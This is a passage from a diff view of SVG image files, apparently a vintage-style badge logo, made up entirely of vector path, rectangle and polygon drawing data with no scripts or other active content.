<path fill="#2B292A" d="M32.3,144.2c0.9,0.6,1.8,1.3,2.6,2.1l1.3-1.5c-0.9-0.8-1.8-1.5-2.8-2.2L32.3,144.2z"/>
|
||||
<path fill="#2B292A" d="M20.4,137c0.8,0.9,1.8,1.7,2.8,2.4l1.1-1.7c-0.9-0.6-1.7-1.2-2.4-2L20.4,137z"/>
|
||||
<path fill="#2B292A" d="M26.5,140.9c1,0.4,2,1,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L26.5,140.9z"/>
|
||||
<path fill="#2B292A" d="M172.9,99l1.6,1.2c0.7-1,1.3-2.1,1.7-3.3l-1.9-0.7C174.1,97.2,173.6,98.1,172.9,99z"/>
|
||||
<path fill="#2B292A" d="M166.6,111.5l1.9,0.5c0.3-1.1,0.6-2.1,1-3.2l-1.9-0.7C167.3,109.2,166.9,110.4,166.6,111.5z"/>
|
||||
<path fill="#2B292A" d="M88.5,176.4c1.2,0.3,2.4,0.5,3.7,0.5v-2c-1.1,0-2.1-0.1-3.2-0.4L88.5,176.4z"/>
|
||||
<path fill="#2B292A" d="M144.2,148.8l1.6,1.3c0.7-0.9,1.5-1.7,2.2-2.5l-1.4-1.4C145.8,147,145,147.9,144.2,148.8z"/>
|
||||
<path fill="#2B292A" d="M170.6,81.2l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C169.4,79.2,170,80.2,170.6,81.2z"/>
|
||||
<path fill="#2B292A" d="M167.7,67.7c-0.2-1.1-0.3-2.2-0.3-3.3l-2,0.1c0.1,1.2,0.2,2.4,0.3,3.5L167.7,67.7z"/>
|
||||
<path fill="#2B292A" d="M169.1,104.9l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C170.3,102.8,169.7,103.9,169.1,104.9z"/>
|
||||
<path fill="#2B292A" d="M161.1,136.9l1.3,1.6c1-0.8,1.8-1.7,2.6-2.7l-1.6-1.2C162.6,135.4,161.9,136.2,161.1,136.9z"/>
|
||||
<path fill="#2B292A" d="M164.9,131.8l1.9,0.8c0.5-1.1,0.8-2.3,1-3.6l-2-0.3C165.5,129.8,165.3,130.8,164.9,131.8z"/>
|
||||
<path fill="#2B292A" d="M167.4,122l-2,0.1c0,1.1,0.1,2.2,0.3,3.3c0,0.1,0,0.2,0,0.3l2-0.2c0-0.1,0-0.2,0-0.3
|
||||
C167.5,124,167.4,123,167.4,122z"/>
|
||||
<path fill="#2B292A" d="M165.4,118.5l2,0.1c0.1-1.1,0.2-2.2,0.4-3.3l-2-0.3C165.6,116.1,165.5,117.3,165.4,118.5z"/>
|
||||
<path fill="#2B292A" d="M176.1,86.1c-0.5-1.1-1.1-2.2-1.9-3.2l-1.6,1.2c0.7,0.9,1.2,1.8,1.6,2.7L176.1,86.1z"/>
|
||||
<path fill="#2B292A" d="M158.7,43c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L158.7,43z"/>
|
||||
<path fill="#2B292A" d="M158,138.7c-0.9,0.4-1.9,0.8-2.8,1.3l0.9,1.8c0.9-0.4,1.7-0.8,2.6-1.2c0.2-0.1,0.3-0.1,0.5-0.2l-0.8-1.8
|
||||
C158.2,138.6,158.1,138.6,158,138.7z"/>
|
||||
<path fill="#2B292A" d="M152.8,39.8c-0.9-0.6-1.8-1.3-2.7-2l-1.3,1.5c0.9,0.8,1.9,1.5,2.8,2.1L152.8,39.8z"/>
|
||||
<path fill="#2B292A" d="M140.4,154.8l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C141.5,152.7,140.9,153.7,140.4,154.8z"/>
|
||||
<path fill="#2B292A" d="M149.2,143.8l1.3,1.6c0.9-0.7,1.8-1.4,2.7-2l-1.1-1.7C151.1,142.4,150.2,143.1,149.2,143.8z"/>
|
||||
<path fill="#2B292A" d="M165.7,58.2c-0.1,0.9-0.2,1.8-0.3,2.7l2,0.1c0-0.9,0.1-1.7,0.3-2.6c0-0.3,0.1-0.6,0.1-0.8l-2-0.2
|
||||
C165.7,57.7,165.7,58,165.7,58.2z"/>
|
||||
<path fill="#2B292A" d="M137.3,160.7l1.6,1.2c0.8-1,1.4-2,1.9-3.2l-1.8-0.8C138.5,158.9,137.9,159.8,137.3,160.7z"/>
|
||||
<path fill="#2B292A" d="M167.6,54c-0.2-1.2-0.6-2.4-1.1-3.5l-1.8,0.8c0.4,1,0.8,2,0.9,3L167.6,54z"/>
|
||||
<path fill="#2B292A" d="M167.5,74.9l1.9-0.7c-0.4-1-0.7-2.1-1-3.2l-1.9,0.5C166.7,72.6,167.1,73.8,167.5,74.9z"/>
|
||||
<path fill="#2B292A" d="M163,48.6l1.6-1.3c-0.8-1-1.7-1.8-2.7-2.6l-1.2,1.6C161.5,47,162.3,47.8,163,48.6z"/>
|
||||
<path fill="#2B292A" d="M175.2,91.8c0,0.5,0,0.9-0.1,1.4l2,0.2c0.1-0.5,0.1-1,0.1-1.6c0-0.7-0.1-1.4-0.2-2.1l-2,0.3
|
||||
C175.2,90.5,175.2,91.1,175.2,91.8z"/>
|
||||
<path fill="#2B292A" d="M43.5,29.7l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.6,1.2C42.3,31.7,42.9,30.7,43.5,29.7z"/>
|
||||
<path fill="#2B292A" d="M45.2,26c0.3-0.8,0.8-1.6,1.3-2.4l-1.7-1.1c-0.6,0.9-1.1,1.8-1.5,2.7c-0.1,0.2-0.1,0.3-0.2,0.5l1.8,0.8
|
||||
C45.1,26.3,45.2,26.1,45.2,26z"/>
|
||||
<path fill="#2B292A" d="M39.4,35.5l-1.5-1.3c-0.7,0.8-1.5,1.7-2.3,2.4L37,38C37.8,37.2,38.7,36.3,39.4,35.5z"/>
|
||||
<path fill="#2B292A" d="M50.6,19.8c0.2-0.1,0.4-0.2,0.7-0.4l-0.9-1.8c-0.3,0.1-0.5,0.3-0.8,0.4c-0.8,0.5-1.6,1-2.3,1.6l1.3,1.5
|
||||
C49.2,20.7,49.9,20.2,50.6,19.8z"/>
|
||||
<path fill="#2B292A" d="M57.4,18.1l0.1-2c-1.2-0.1-2.5,0-3.7,0.3l0.4,2C55.3,18.2,56.4,18.1,57.4,18.1z"/>
|
||||
<path fill="#2B292A" d="M50.5,163.6l-1,1.7l0.2,0.1c1,0.6,2.1,1.1,3.2,1.4l0.6-1.9c-1-0.3-1.9-0.7-2.8-1.2L50.5,163.6z"/>
|
||||
<path fill="#2B292A" d="M56.5,167.4c0.1,0,0.3,0,0.4,0c0.7,0,1.3,0,2-0.1c0.4-0.1,0.8-0.1,1.2-0.1l-0.2-2c-0.4,0-0.8,0.1-1.2,0.1
|
||||
c-0.7,0.1-1.4,0.1-2.1,0.1L56.5,167.4z"/>
|
||||
<path fill="#2B292A" d="M34.3,40.3L33,38.7c-0.9,0.7-1.8,1.3-2.8,1.9l1.1,1.7C32.4,41.7,33.3,41,34.3,40.3z"/>
|
||||
<path fill="#2B292A" d="M19.1,52.6l-1.9-0.6c-0.4,1.2-0.6,2.4-0.7,3.6l2,0.1C18.6,54.6,18.8,53.6,19.1,52.6z"/>
|
||||
<path fill="#2B292A" d="M26.3,44.9c0.6-0.3,1.3-0.5,1.9-0.8l-0.9-1.8c-0.6,0.3-1.2,0.5-1.8,0.8c-0.5,0.2-0.9,0.4-1.4,0.7l0.9,1.8
|
||||
C25.5,45.2,25.9,45,26.3,44.9z"/>
|
||||
<path fill="#2B292A" d="M64.4,18.5l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.1,2c0.8,0.1,1.7,0.1,2.5,0.1C63.7,18.6,64,18.6,64.4,18.5z"/>
|
||||
<path fill="#2B292A" d="M18.8,66l-2-0.2c-0.1,1.1-0.3,2.2-0.5,3.3l2,0.4C18.5,68.4,18.7,67.2,18.8,66z"/>
|
||||
<path fill="#2B292A" d="M22.5,47.3l-1.4-1.5c-0.9,0.8-1.7,1.8-2.4,2.8l1.7,1.1C21.1,48.8,21.8,48,22.5,47.3z"/>
|
||||
<path fill="#2B292A" d="M105.3,168.7l0.9,1.8c1-0.5,2-1,3-1.4l-0.7-1.9C107.5,167.7,106.4,168.2,105.3,168.7z"/>
|
||||
<path fill="#2B292A" d="M108.8,14.2c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L108.8,14.2z"/>
|
||||
<path fill="#2B292A" d="M89.9,8.9l-0.4-2C88.3,7.1,87.1,7.5,86,8l0.8,1.8C87.8,9.4,88.8,9.1,89.9,8.9z"/>
|
||||
<path fill="#2B292A" d="M96.8,7.4c-1.2-0.4-2.4-0.6-3.6-0.7l-0.1,2c1.1,0.1,2.1,0.3,3.1,0.6L96.8,7.4z"/>
|
||||
<path fill="#2B292A" d="M115.2,16c-1.1-0.2-2.2-0.5-3.3-0.8l-0.6,1.9c1.1,0.3,2.3,0.6,3.5,0.8L115.2,16z"/>
|
||||
<path fill="#2B292A" d="M63.4,167c1.1,0,2.2,0.1,3.3,0.2l0.2-2c-1.2-0.1-2.4-0.2-3.5-0.2L63.4,167z"/>
|
||||
<path fill="#2B292A" d="M99.9,172.2c-0.1,0.1-0.3,0.2-0.4,0.3l1.2,1.6c0.2-0.1,0.3-0.3,0.5-0.4c0.7-0.6,1.5-1.1,2.2-1.6l-1.1-1.7
|
||||
C101.4,171,100.6,171.6,99.9,172.2z"/>
|
||||
<path fill="#2B292A" d="M112.5,168.1c1.1-0.3,2.2-0.5,3.3-0.7l-0.3-2c-1.2,0.2-2.3,0.4-3.5,0.8L112.5,168.1z"/>
|
||||
<path fill="#2B292A" d="M93.5,174.8l0.2,2c1.2-0.1,2.4-0.4,3.6-0.9l-0.7-1.9C95.6,174.4,94.6,174.7,93.5,174.8z"/>
|
||||
<path fill="#2B292A" d="M121.9,18.5l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.2,2c0.9,0.1,1.7,0.1,2.6,0.1
|
||||
C121.3,18.6,121.6,18.6,121.9,18.5z"/>
|
||||
<path fill="#2B292A" d="M101.8,12.7l1.1-1.7c-0.6-0.4-1.2-0.9-1.8-1.3c-0.3-0.2-0.6-0.5-1-0.7L99,10.7c0.3,0.2,0.6,0.4,0.8,0.6
|
||||
C100.5,11.8,101.2,12.3,101.8,12.7z"/>
|
||||
<path fill="#2B292A" d="M78.1,15.2l-0.9-1.8c-1,0.5-2,0.9-3.1,1.3l0.7,1.9C75.9,16.2,77,15.7,78.1,15.2z"/>
|
||||
<path fill="#2B292A" d="M70,167.7c1.1,0.2,2.2,0.5,3.2,0.9l0.6-1.9c-1.1-0.4-2.3-0.7-3.4-0.9L70,167.7z"/>
|
||||
<path fill="#2B292A" d="M84.1,11.6L82.9,10c-0.9,0.7-1.8,1.3-2.8,1.9l1,1.7C82.2,12.9,83.2,12.3,84.1,11.6z"/>
|
||||
<path fill="#2B292A" d="M71.4,17.6l-0.5-2c-1.1,0.3-2.2,0.5-3.3,0.6l0.3,2C69.1,18.1,70.3,17.9,71.4,17.6z"/>
|
||||
<path fill="#2B292A" d="M91.2,32.5V20.9h-1.4c-0.6,2.6-4.5,20.1-9.4,25.6c0,0,4.4,5,4.8,10.3h13.8c0.4-5.3,4.8-10.3,4.8-10.3
|
||||
c-4.9-5.5-8.8-23-9.4-25.6h-1.4v11.6c1,0.4,1.7,1.4,1.7,2.5c0,1.5-1.2,2.7-2.7,2.7c-1.5,0-2.7-1.2-2.7-2.7
|
||||
C89.5,33.8,90.2,32.9,91.2,32.5z"/>
|
||||
<rect x="83.6" y="59.1" fill="#2B292A" width="17" height="7.5"/>
|
||||
<polygon fill="#2B292A" points="46,113.6 42.2,117.4 38.4,113.6 37.8,114.2 37.2,114.8 41,118.6 37.2,122.4 37.8,123 38.4,123.6
|
||||
42.2,119.8 46,123.6 47.2,122.4 43.4,118.6 47.2,114.8 "/>
|
||||
<polygon fill="#2B292A" points="138.3,113.6 137.1,114.8 140.9,118.6 137.1,122.4 138.3,123.6 142.1,119.8 145.9,123.6
|
||||
146.5,123 147.1,122.4 143.4,118.6 147.1,114.8 146.5,114.2 145.9,113.6 142.1,117.4 "/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g id="DESIGNED_BY_FREEPIK">
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 21 KiB |
@@ -0,0 +1,451 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
viewBox="0 0 207.8 188.4" enable-background="new 0 0 207.8 188.4" xml:space="preserve">
|
||||
<g id="BACKGROUND" display="none">
|
||||
<rect x="-530.7" y="-297" display="inline" fill="#FFFFFF" width="800" height="800"/>
|
||||
</g>
|
||||
<g id="OBJECTS">
|
||||
<g>
|
||||
<path fill="#2B292A" d="M21.8-135l-1.8,0.9c0.4,0.8,0.9,1.6,1.5,2.3c0.2,0.2,0.3,0.4,0.5,0.7l1.6-1.2c-0.2-0.2-0.4-0.5-0.5-0.7
|
||||
C22.6-133.6,22.1-134.3,21.8-135z"/>
|
||||
<path fill="#2B292A" d="M25.5-129.3l-1.7,1c0.6,1,1.1,2,1.5,3l1.8-0.8C26.7-127.2,26.1-128.3,25.5-129.3z"/>
|
||||
<path fill="#2B292A" d="M28.5-122.9l-1.9,0.6c0.4,1.1,0.7,2.1,0.9,3.2l2-0.4C29.2-120.6,28.8-121.8,28.5-122.9z"/>
|
||||
<path fill="#2B292A" d="M28.8-159.5l-1.9-0.6c-0.3,1.1-0.7,2.1-1.1,3.1l1.9,0.8C28-157.2,28.4-158.4,28.8-159.5z"/>
|
||||
<path fill="#2B292A" d="M22.2-147.2l-1.7-1c-0.6,1.1-1.1,2.2-1.5,3.4l1.9,0.6C21.2-145.3,21.6-146.3,22.2-147.2z"/>
|
||||
<path fill="#2B292A" d="M26-153l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.7,1.1C24.8-150.9,25.5-151.9,26-153z"/>
|
||||
<path fill="#2B292A" d="M18.7-137.6l2-0.4c-0.2-0.9-0.3-1.8-0.3-2.7c0-0.2,0-0.3,0-0.5l-2-0.1c0,0.2,0,0.3,0,0.5
|
||||
C18.4-139.6,18.5-138.6,18.7-137.6z"/>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M46-131.5c-1.1,0-2.1-0.1-3-0.4c-0.9-0.3-1.6-0.7-2.1-1.2s-1-1.1-1.4-1.9s-0.6-1.5-0.7-2.4
|
||||
c-0.1-0.8-0.2-1.8-0.2-2.9v-9c0-1.1,0.1-2.1,0.2-3c0.1-0.9,0.4-1.7,0.7-2.4c0.3-0.7,0.8-1.4,1.4-1.8c0.6-0.5,1.3-0.9,2.1-1.1
|
||||
c0.8-0.3,1.8-0.4,3-0.4c1.3,0,2.4,0.2,3.3,0.5c0.9,0.3,1.6,0.8,2.2,1.5c0.5,0.7,0.9,1.4,1.2,2.3c0.2,0.9,0.4,1.9,0.4,3.1v2.2
|
||||
h-4.6v-2.2c0-1.3-0.1-2.2-0.2-2.6c-0.3-0.9-0.9-1.3-2-1.4c-0.1,0-0.2,0-0.3,0c-0.4,0-0.7,0-1,0.1c-0.3,0.1-0.5,0.2-0.7,0.4
|
||||
c-0.2,0.2-0.3,0.4-0.5,0.6c-0.1,0.2-0.2,0.5-0.3,0.9c-0.1,0.4-0.1,0.7-0.1,1c0,0.3,0,0.7,0,1.2v11c0,1.5,0.2,2.6,0.6,3.3
|
||||
c0.4,0.6,1.1,1,2,1c0.3,0,0.6,0,0.9-0.1c0.3-0.1,0.5-0.2,0.6-0.3c0.2-0.1,0.3-0.3,0.4-0.5c0.1-0.2,0.2-0.4,0.3-0.6
|
||||
s0.1-0.5,0.1-0.8c0-0.3,0-0.6,0.1-0.9c0-0.2,0-0.6,0-1v-2.3H53v2.1c0,1-0.1,1.8-0.2,2.6s-0.4,1.5-0.7,2.2
|
||||
c-0.3,0.7-0.8,1.2-1.3,1.7s-1.2,0.8-2,1.1C48-131.6,47.1-131.5,46-131.5z"/>
|
||||
<path fill="#2B292A" d="M56.3-131.8v-25.9h5.9c1.4,0,2.5,0.1,3.5,0.3c1,0.2,1.8,0.6,2.6,1.1s1.3,1.2,1.6,2.1
|
||||
c0.4,0.9,0.5,2,0.5,3.3c0,1.6-0.2,3-0.7,4c-0.5,1-1.3,1.8-2.4,2.3l3.6,12.8h-4.7l-3.1-11.8H61v11.8H56.3z M61-146.7h1.1
|
||||
c1.4,0,2.4-0.3,3-0.9s0.9-1.6,0.9-3c0-1.4-0.3-2.4-0.8-3c-0.5-0.6-1.4-0.9-2.8-0.9H61V-146.7z"/>
|
||||
<path fill="#2B292A" d="M74.1-131.8v-25.9h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6H85v3.3H74.1z"/>
|
||||
<path fill="#2B292A" d="M86.4-131.8l5.3-25.9h4.9l5.3,25.9h-4.4l-1-6h-4.5l-1.1,6H86.4z M92.4-140.9h3.5l-1.7-10.6L92.4-140.9z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M106-131.8v-22.4h-4.3v-3.5h13.3v3.5h-4.2v22.4H106z"/>
|
||||
<path fill="#2B292A" d="M117.1-131.8v-25.9h4.7v25.9H117.1z"/>
|
||||
<path fill="#2B292A" d="M129.8-131.8l-5.3-25.9h4.2l3.4,18l3.2-18h4.3l-5.3,25.9H129.8z"/>
|
||||
<path fill="#2B292A" d="M142.3-131.8v-25.9h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6h6.2v3.3H142.3z"/>
|
||||
<path fill="#2B292A" d="M162.5-131.5c-4.6,0-7-2.6-7.2-7.9l4.1-0.9c0.1,3.4,1.1,5.1,2.9,5.1c0.7,0,1.3-0.2,1.6-0.7
|
||||
c0.3-0.4,0.5-1,0.5-1.8c0-0.7-0.1-1.4-0.4-2c-0.3-0.6-0.6-1.1-0.9-1.5c-0.3-0.4-0.8-0.9-1.5-1.4l-3.4-3c-1-0.9-1.7-1.8-2.2-2.7
|
||||
c-0.5-0.9-0.7-2.1-0.7-3.5c0-2,0.6-3.6,1.8-4.7c1.2-1.1,2.8-1.7,4.9-1.7c0.9,0,1.8,0.1,2.5,0.4c0.7,0.2,1.3,0.6,1.8,1
|
||||
c0.5,0.4,0.9,0.9,1.2,1.5s0.6,1.3,0.7,1.9s0.3,1.4,0.3,2.2l-4,0.8c0-0.5-0.1-1-0.1-1.4c0-0.4-0.1-0.8-0.2-1.2
|
||||
c-0.1-0.4-0.3-0.7-0.4-1s-0.4-0.4-0.7-0.6s-0.7-0.2-1.1-0.2c-0.7,0-1.2,0.3-1.6,0.7c-0.4,0.4-0.6,1-0.6,1.7
|
||||
c0,0.8,0.2,1.5,0.5,2.1c0.3,0.5,0.8,1.1,1.5,1.7l3.4,2.9c0.6,0.5,1.1,1,1.5,1.5s0.8,1,1.2,1.6c0.4,0.6,0.7,1.3,0.9,2
|
||||
s0.3,1.5,0.3,2.3c0,1.9-0.6,3.4-1.8,4.6C166-132.1,164.5-131.5,162.5-131.5z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M66-101.3v-22.2h5.2c1.3,0,2.5,0.1,3.4,0.4c0.9,0.3,1.6,0.7,2.2,1.3c0.5,0.6,0.9,1.3,1.2,2.1
|
||||
c0.2,0.8,0.3,1.9,0.3,3.1v8c0,1.3-0.1,2.3-0.3,3.2s-0.6,1.6-1.1,2.3c-0.5,0.6-1.2,1.1-2.1,1.4c-0.9,0.3-2,0.4-3.3,0.4H66z
|
||||
M70.1-104.2h1.2c0.4,0,0.8,0,1.1-0.1c0.3-0.1,0.6-0.2,0.8-0.3c0.2-0.1,0.4-0.3,0.5-0.5s0.2-0.4,0.3-0.6
|
||||
c0.1-0.2,0.1-0.5,0.2-0.9c0-0.4,0.1-0.7,0.1-1c0-0.3,0-0.7,0-1.2v-8.1c0-0.5,0-1,0-1.3c0-0.3-0.1-0.6-0.1-1
|
||||
c-0.1-0.3-0.2-0.6-0.3-0.8c-0.1-0.2-0.3-0.3-0.5-0.5c-0.2-0.1-0.5-0.3-0.8-0.3c-0.3-0.1-0.7-0.1-1.2-0.1h-1.1V-104.2z"/>
|
||||
<path fill="#2B292A" d="M81.2-101.3v-22.2h9.3v2.9h-5.3v6.4h4.2v2.9h-4.2v7.3h5.3v2.8H81.2z"/>
|
||||
<path fill="#2B292A" d="M98.6-101c-3.9,0-6-2.3-6.2-6.8l3.5-0.7c0.1,2.9,0.9,4.4,2.5,4.4c0.6,0,1.1-0.2,1.4-0.6
|
||||
c0.3-0.4,0.4-0.9,0.4-1.5c0-0.6-0.1-1.2-0.3-1.7c-0.2-0.5-0.5-0.9-0.8-1.3s-0.7-0.7-1.3-1.2l-2.9-2.5c-0.9-0.8-1.5-1.5-1.9-2.3
|
||||
c-0.4-0.8-0.6-1.8-0.6-3c0-1.7,0.5-3.1,1.5-4c1-1,2.4-1.4,4.2-1.5c0.8,0,1.5,0.1,2.2,0.3c0.6,0.2,1.1,0.5,1.5,0.8
|
||||
c0.4,0.4,0.7,0.8,1,1.3c0.3,0.5,0.5,1.1,0.6,1.6c0.1,0.6,0.2,1.2,0.3,1.9l-3.5,0.7c0-0.4,0-0.8-0.1-1.2s-0.1-0.7-0.2-1
|
||||
c-0.1-0.3-0.2-0.6-0.4-0.8c-0.2-0.2-0.4-0.4-0.6-0.5c-0.3-0.1-0.6-0.2-0.9-0.1c-0.6,0-1.1,0.2-1.4,0.6s-0.5,0.8-0.5,1.5
|
||||
c0,0.7,0.1,1.3,0.4,1.8c0.3,0.5,0.7,1,1.3,1.5l2.9,2.5c0.5,0.4,0.9,0.9,1.3,1.3c0.4,0.4,0.7,0.9,1,1.4c0.3,0.5,0.6,1.1,0.7,1.7
|
||||
s0.3,1.3,0.3,2c0,1.6-0.5,2.9-1.5,3.9C101.6-101.5,100.2-101,98.6-101z"/>
|
||||
<path fill="#2B292A" d="M106.6-101.3v-22.2h4v22.2H106.6z"/>
|
||||
<path fill="#2B292A" d="M119.6-101c-2.1,0-3.6-0.7-4.5-2s-1.4-3.2-1.4-5.7v-7.2c0-1.3,0.1-2.4,0.3-3.3c0.2-0.9,0.5-1.7,1-2.4
|
||||
c0.5-0.7,1.1-1.2,2-1.6c0.8-0.3,1.9-0.5,3.1-0.5c2.2,0,3.8,0.5,4.7,1.6c1,1.1,1.4,2.7,1.4,4.9v1.1h-3.9v-1.2c0-0.5,0-0.9,0-1.2
|
||||
c0-0.3-0.1-0.6-0.2-0.9c-0.1-0.3-0.2-0.6-0.4-0.7s-0.4-0.3-0.7-0.4c-0.3-0.1-0.6-0.2-1-0.2c-0.3,0-0.6,0-0.8,0.1
|
||||
c-0.2,0.1-0.4,0.2-0.6,0.3c-0.2,0.1-0.3,0.3-0.4,0.5c-0.1,0.2-0.2,0.4-0.3,0.6c-0.1,0.2-0.1,0.4-0.1,0.7c0,0.3-0.1,0.6-0.1,0.8
|
||||
c0,0.2,0,0.5,0,0.9v9c0,1.3,0.2,2.3,0.5,2.9c0.3,0.6,1,0.9,1.9,0.9c0.5,0,0.9-0.1,1.2-0.3c0.3-0.2,0.6-0.5,0.8-0.8
|
||||
s0.3-0.8,0.4-1.3s0.1-1.1,0.1-1.7v-1.8h-2.4v-2.6h6.1v11.3h-2.6l-0.3-2.3C122.7-101.9,121.4-101,119.6-101z"/>
|
||||
<path fill="#2B292A" d="M129.4-101.3v-22.2h2.8l5.4,12.6v-12.6h3.4v22.2h-2.7l-5.5-13.2v13.2H129.4z"/>
|
||||
</g>
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M64.9-190.3v1.2h-4.3v2.2h3.9v1.2h-3.9v2.2H65v1.2h-5.8v-7.9H64.9z"/>
|
||||
<path fill="#2B292A" d="M69.2-189.1c-0.8,0-1.3,0.3-1.3,0.8c0,1.7,4.3,0.8,4.3,3.7c0,1.4-1.2,2.3-3,2.3
|
||||
c-1.2,0-2.4-0.5-3.2-1.3l0.6-1.2c0.8,0.7,1.8,1.2,2.7,1.2c0.9,0,1.5-0.4,1.5-1c0-1.8-4.3-0.8-4.3-3.6c0-1.4,1.2-2.2,2.9-2.2
|
||||
c1,0,2,0.3,2.8,0.8l-0.6,1.2C70.6-188.8,69.8-189.1,69.2-189.1z"/>
|
||||
<path fill="#2B292A" d="M79.1-190.3v1.2h-2.5v6.7h-1.3v-6.7h-2.5v-1.2H79.1z"/>
|
||||
<path fill="#2B292A" d="M80.5-183c0,0.4-0.3,0.8-0.7,0.8c-0.4,0-0.7-0.3-0.7-0.8c0-0.4,0.3-0.7,0.7-0.7
|
||||
C80.2-183.7,80.5-183.4,80.5-183z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M125.1-190.3v7.9h-1.3v-6.7h-1.7v-1.2H125.1z"/>
|
||||
<path fill="#2B292A" d="M130.8-183.4c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
|
||||
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
|
||||
C129.5-183.6,130.2-183.4,130.8-183.4z M129.5-187.7c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
|
||||
C130.2-189.2,129.5-188.6,129.5-187.7z"/>
|
||||
<path fill="#2B292A" d="M137.8-183.4c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
|
||||
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
|
||||
C136.5-183.6,137.2-183.4,137.8-183.4z M136.5-187.7c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
|
||||
C137.2-189.2,136.5-188.6,136.5-187.7z"/>
|
||||
<path fill="#2B292A" d="M148.4-190.3v1l-3.3,6.9h-1.4l3.3-6.7h-3.4l0,1.1h-1.2v-2.3H148.4z"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M68.9-86.5H70v3c-0.8,0.6-2,1-3.1,1c-2.4,0-4.2-1.8-4.2-4.1s1.9-4.1,4.3-4.1c1.2,0,2.3,0.4,3.1,1.1
|
||||
l-0.8,1c-0.6-0.6-1.5-0.9-2.3-0.9c-1.6,0-2.9,1.3-2.9,2.9c0,1.6,1.3,2.9,3,2.9c0.6,0,1.3-0.2,1.9-0.6V-86.5z"/>
|
||||
<path fill="#2B292A" d="M75.3-83.7c1.3,0,2.1-0.8,2.1-2.2v-4.7h1.4v4.7c0,2.1-1.3,3.4-3.5,3.4c-2.2,0-3.5-1.3-3.5-3.4v-4.7h1.4
|
||||
v4.7C73.2-84.5,74-83.7,75.3-83.7z"/>
|
||||
<path fill="#2B292A" d="M85.8-84.3h-4.1l-0.8,1.8h-1.4l3.6-8.1h1.4l3.5,8.1h-1.5L85.8-84.3z M85.2-85.5l-1.5-3.6l-1.5,3.6H85.2z
|
||||
"/>
|
||||
<path fill="#2B292A" d="M94.2-82.5L92.7-85c-0.1,0-0.2,0-0.4,0h-1.9v2.4h-1.4v-8.1h3.3c2.1,0,3.3,1,3.3,2.8
|
||||
c0,1.3-0.6,2.2-1.7,2.6l1.8,2.7H94.2z M92.3-86.2c1.2,0,2-0.5,2-1.6c0-1.1-0.7-1.6-2-1.6h-1.9v3.2H92.3z"/>
|
||||
<path fill="#2B292A" d="M102.6-84.3h-4.1l-0.8,1.8h-1.4l3.6-8.1h1.4l3.5,8.1h-1.5L102.6-84.3z M102.1-85.5l-1.5-3.6L99-85.5
|
||||
H102.1z"/>
|
||||
<path fill="#2B292A" d="M107.2-90.6l4.3,5.8v-5.8h1.3v8.1h-1.3l-4.3-5.8v5.8h-1.4v-8.1H107.2z"/>
|
||||
<path fill="#2B292A" d="M120.5-90.6v1.2H118v6.9h-1.4v-6.9h-2.5v-1.2H120.5z"/>
|
||||
<path fill="#2B292A" d="M127.5-90.6v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H127.5z"/>
|
||||
<path fill="#2B292A" d="M135-90.6v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H135z"/>
|
||||
<path fill="#2B292A" d="M144.3-86.6c0,2.3-1.8,4-4.2,4h-3.3v-8.1h3.3C142.6-90.6,144.3-88.9,144.3-86.6z M142.9-86.5
|
||||
c0-1.6-1.2-2.8-2.8-2.8h-1.9v5.6h2C141.7-83.7,142.9-84.9,142.9-86.5z"/>
|
||||
</g>
|
||||
